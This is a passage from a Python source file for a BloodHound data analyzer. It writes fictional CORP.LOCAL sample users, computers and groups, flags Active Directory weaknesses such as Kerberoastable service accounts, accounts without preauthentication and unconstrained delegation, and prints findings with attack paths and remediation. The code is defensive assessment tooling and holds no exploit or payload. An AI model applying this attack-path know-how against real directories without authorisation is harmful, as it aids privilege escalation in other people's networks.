            lines.append(f"\nDescription:\n  {finding.description}")
            lines.append(f"\nAttack Path:\n  {finding.attack_path}")
            lines.append(f"\nAffected Objects ({len(finding.affected_objects)}):")
            for obj in finding.affected_objects[:10]:
                lines.append(f"  - {obj}")
            if len(finding.affected_objects) > 10:
                lines.append(f"  ... and {len(finding.affected_objects) - 10} more")
            lines.append(f"\nRemediation:\n  {finding.remediation}")

        return "\n".join(lines)


def main():
    """Demonstrate BloodHound data analysis."""
    analyzer = BloodHoundAnalyzer()

    # Create sample data for demonstration
    sample_users = {
        "meta": {"type": "users"},
        "data": [
            {"Properties": {"name": "SVC_SQL@CORP.LOCAL", "enabled": True, "hasspn": True,
                            "dontreqpreauth": False, "admincount": True, "description": "SQL Service Account"}},
            {"Properties": {"name": "SVC_WEB@CORP.LOCAL", "enabled": True, "hasspn": True,
                            "dontreqpreauth": False, "admincount": False, "description": "Web Service"}},
            {"Properties": {"name": "SVC_BACKUP@CORP.LOCAL", "enabled": True, "hasspn": True,
                            "dontreqpreauth": False, "admincount": True, "description": "Backup Service"}},
            {"Properties": {"name": "J.SMITH@CORP.LOCAL", "enabled": True, "hasspn": False,
                            "dontreqpreauth": True, "admincount": False}},
            {"Properties": {"name": "ADMIN@CORP.LOCAL", "enabled": True, "hasspn": False,
                            "dontreqpreauth": False, "admincount": True}},
        ],
    }

    sample_computers = {
        "meta": {"type": "computers"},
        "data": [
            {"Properties": {"name": "DC01.CORP.LOCAL", "enabled": True,
                            "unconstraineddelegation": True, "operatingsystem": "Windows Server 2022"}},
            {"Properties": {"name": "WEB01.CORP.LOCAL", "enabled": True,
                            "unconstraineddelegation": True, "operatingsystem": "Windows Server 2019"}},
            {"Properties": {"name": "SQL01.CORP.LOCAL", "enabled": True,
                            "unconstraineddelegation": False, "operatingsystem": "Windows Server 2019",
                            "allowedtodelegate": ["MSSQLSvc/DB01.CORP.LOCAL:1433"]}},
        ],
    }

    sample_groups = {
        "meta": {"type": "groups"},
        "data": [
            {"Properties": {"name": "DOMAIN ADMINS@CORP.LOCAL", "highvalue": True},
             "Members": [{"MemberId": "S-1-5-21-xxx-500"}]},
            {"Properties": {"name": "BACKUP OPERATORS@CORP.LOCAL", "highvalue": True},
             "Members": []},
        ],
    }

    # Write sample data
    sample_dir = "./bloodhound_sample"
    os.makedirs(sample_dir, exist_ok=True)
    for name, data in [("users.json", sample_users), ("computers.json", sample_computers), ("groups.json", sample_groups)]:
        with open(os.path.join(sample_dir, name), "w") as f:
            json.dump(data, f)

    # Load and analyze
    analyzer.load_bloodhound_data(sample_dir)
    analyzer.run_full_analysis()
    print(analyzer.generate_report())

    # Cleanup
    import shutil
    shutil.rmtree(sample_dir)


if __name__ == "__main__":
    main()

Assets 1

template.mdtext/markdown · 3.6 KB
Keep exploring